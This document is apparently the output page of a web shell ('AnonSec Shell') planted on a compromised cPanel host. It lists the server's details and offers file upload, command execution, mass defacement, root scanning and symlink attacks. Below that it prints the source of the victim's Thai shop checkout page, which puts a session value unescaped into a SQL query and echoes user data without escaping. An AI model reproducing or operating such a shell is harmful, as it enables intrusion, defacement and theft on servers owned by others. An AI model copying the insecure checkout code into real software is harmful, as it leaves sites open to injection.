AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/cart/checkout.php
<?php include('../include/header.php')?>
<?php $menu = 'cart';?>
<?php

$_SESSION['discount'] = $_POST['discount'];
if($_POST['confirm'] <> 'cm1')
{

	?><meta http-equiv="refresh" content="0;URL=../home/index.php"><?php
	exit;
}
?>
<?php include('../theme/menu.php')?>
<?php //include('../banner/index.php')?>
<?php //include('../theme/category.php')?>
<!-- /.body -->
<script>
function checkform_Shipping()
{
	if(document.from_shipping.name.value==""){alert("ขออภัยค่ะกรุณากรอก ชื่อ");document.from_shipping.name.focus();return false;}
	if(!isNaN(document.from_shipping.name.value)){alert("ขออภัยค่ะกรุณากรอก ชื่อเป็นตัวหนังสือเท่านั้น");document.from_shipping.name.focus();return false;}

	if(document.from_shipping.lastname.value==""){alert("ขออภัยค่ะกรุณากรอก นามสกุล");document.from_shipping.lastname.focus();return false;}
	if(!isNaN(document.from_shipping.lastname.value)){alert("ขออภัยค่ะกรุณากรอก นามสกุลเป็นตัวหนังสือเท่านั้น");document.from_shipping.lastname.focus();return false;}

	if(document.from_shipping.address.value==""){alert("ขออภัยค่ะกรุณากรอก ที่อยู่");document.from_shipping.address.focus();return false;}
	if(document.from_shipping.province.value==""){alert("ขออภัยค่ะกรุณากรอก จังหวัด");document.from_shipping.province.focus();return false;}
	if(document.from_shipping.zipcode.value==""){alert("ขออภัยค่ะกรุณากรอก รหัสไปรษณีย์ ");document.from_shipping.zipcode.focus();return false;}
	if(isNaN(document.from_shipping.zipcode.value)){alert("ขออภัยค่ะกรุณากรอก รหัสไปรษณีย์ตัวเลขเท่านั้น");document.from_shipping.zipcode.focus();return false;}
	if(document.from_shipping.phone.value==""){alert("ขออภัยค่ะกรุณากรอก โทรศัพท์มือถือ ");document.from_shipping.phone.focus();return false;}
	if(isNaN(document.from_shipping.phone.value)){alert("ขออภัยค่ะกรุณากรอก โทรศัพท์มือถือตัวเลขเท่านั้น");document.from_shipping.phone.focus();return false;}
	if(document.from_shipping.mail.value==""){alert("ขออภัยค่ะกรุณากรอก โทรศัพท์มือถือ ");document.from_shipping.mail.focus();return false;}
	if(!document.from_shipping.mail.value.match(/^[\w]{1}[\w\.\-_]*@[\w]{1}[\w\-_\.]*\.[\w]{2,6}$/i)){alert("ขออภัยค่ะ รูปแบบ E-mail ของคุณไม่ถูกต้อง");
	document.from_shipping.mail.focus();return false;}

}
</script>
<style media="screen">
.form-control{padding: 0.75rem 1.5rem;}
.form-control{font-size: 20px;}
</style>
<div class="container mt-5 mt-md-0 px-lg-5 px-3">
	 <div class="row px-md-5 mb-3 pt-md-0">
		 <div class="col-md-12 px-md-2 d-flex justify-content-between align-baseline" >
				 <div class="">
					 <h2 class="pb-0 mb-0 fw-loungethbold">ข้อมูลการจัดส่งสินค้า</h2>
				 </div>

		 </div>
	 </div>

</div>


<div class="container mt-5 mt-md-0 px-lg-5 px-3">
	 <div class="row px-md-5 mb-3">
		 <div class="col-md-12 px-md-2 justify-content-center " >
			 <div class="row justify-content-center mb-5 mb-md-3">
				 <div class="btn-group text-center" role="group" aria-label="Basic checkbox toggle button group">
					 <input type="checkbox" class="btn-check" id="btncheck1" autocomplete="off">
					 <label class="btn btn-secondary2 active-btn" for="btncheck1">ขั้นตอนที่ 1</label>

					 <input type="checkbox" class="btn-check" id="btncheck2" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck2">ขั้นตอนที่ 2</label>

					 <input type="checkbox" class="btn-check" id="btncheck3" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck3">ขั้นตอนที่ 3</label>

					 <input type="checkbox" class="btn-check" id="btncheck3" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck3">ขั้นตอนที่ 4</label>

					 <input type="checkbox" class="btn-check" id="btncheck3" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck3">ยืนยัน</label>
				 </div>

			 </div>

				 <?php
         if($_SESSION["kai_login"] == 1){
						$sql = array('table'=>'member','where'=>"id = '".$_SESSION["kai_id"]."'");
						$view_sql = $view_db->view($sql);
						$row = $view_db->q($view_sql);
         }
         ?>
        <form class="form-horizontal" onSubmit="return checkform_Shipping();"  method="post" name="from_shipping" action="checkout1.php" >
					<div class="row">
						<div class="col-12 col-md-6">
							<div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">ชื่อ :*</label>
		            <div class="col-sm-9">
		              <input type="text" name="name" class="form-control" id="inputEmail3" value="<?php echo $row['name']?>" placeholder="Name">
		            </div>
		          </div>
		          <div class="row mb-3">
		            <label for="inputPassword3" class="col-sm-3 control-label text-start text-md-end">นามสกุล :*</label>
		            <div class="col-sm-9">
		              <input type="text" name="lastname" class="form-control" id="inputPassword3" placeholder="Last name" value="<?php echo $row['lastname']?>">
		            </div>
		          </div>
		           <div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">ที่อยู่ :*</label>
		            <div class="col-sm-9">
										<input type="text" class="form-control" name="address" value="<?php echo $row['address']?>" placeholder="Address">
		            </div>
		          </div>
		           <div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">จังหวัด :*</label>
		            <div class="col-sm-9">
		              <input type="text" class="form-control" id="inputEmail3" name="province" placeholder="Province" value="<?php echo $row['province']?>">
		            </div>
		          </div>
						</div>
						<div class="col-12 col-md-6">
							<div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">รหัสไปรษณีย์  :*</label>
		            <div class="col-sm-9">
		              <input type="text" class="form-control" id="inputEmail3" name="zipcode" placeholder="Zip code" value="<?php echo $row['zipcode']?>">
		            </div>
		          </div>
		           <div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">โทรศัพท์มือถือ :*</label>
		            <div class="col-sm-9">
		              <input type="text" class="form-control" id="inputEmail3" name="phone" placeholder="Mobile phone" maxlength="10" value="<?php echo $row['phone']?>">
		            </div>
		          </div>
		           <div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">อีเมล :*</label>
		            <div class="col-sm-9">
		              <input type="email" class="form-control" id="inputEmail3" name="mail" placeholder="Email" value="<?php echo $row['mail']?>">
		            </div>
		          </div>
		           <div class="row mb-3">
		            <label for="inputEmail3" class="col-sm-3 control-label text-start text-md-end">lineID :</label>
		            <div class="col-sm-9">
		              <input type="text" class="form-control" id="inputlineID" name="lineID" placeholder="lineID" value="<?php echo @$row['lineID']?>">
		            </div>
		          </div>
						</div>
					</div>





         <div class="row mb-3 text-center mt-3">
           <div class="col-sm-offset-2 col-sm-12">
           	<input type="hidden" name="confirm" value="cm2">
             <input class="btn btn-default corner_cancel btn-kai1 px-3" type="submit" value="ส่งข้อมูล" style="color:#FFF;">
           </div>
         </div>
       </form>


		 </div>
	 </div>
	 <style>.tb_cart td{ padding:10px;}</style>
</div>


<!-- /.body -->
<?php include('../include/footer.php')?>
<?php include('../include/footer_js.php')?>

Anon7 - 2022
AnonSec Team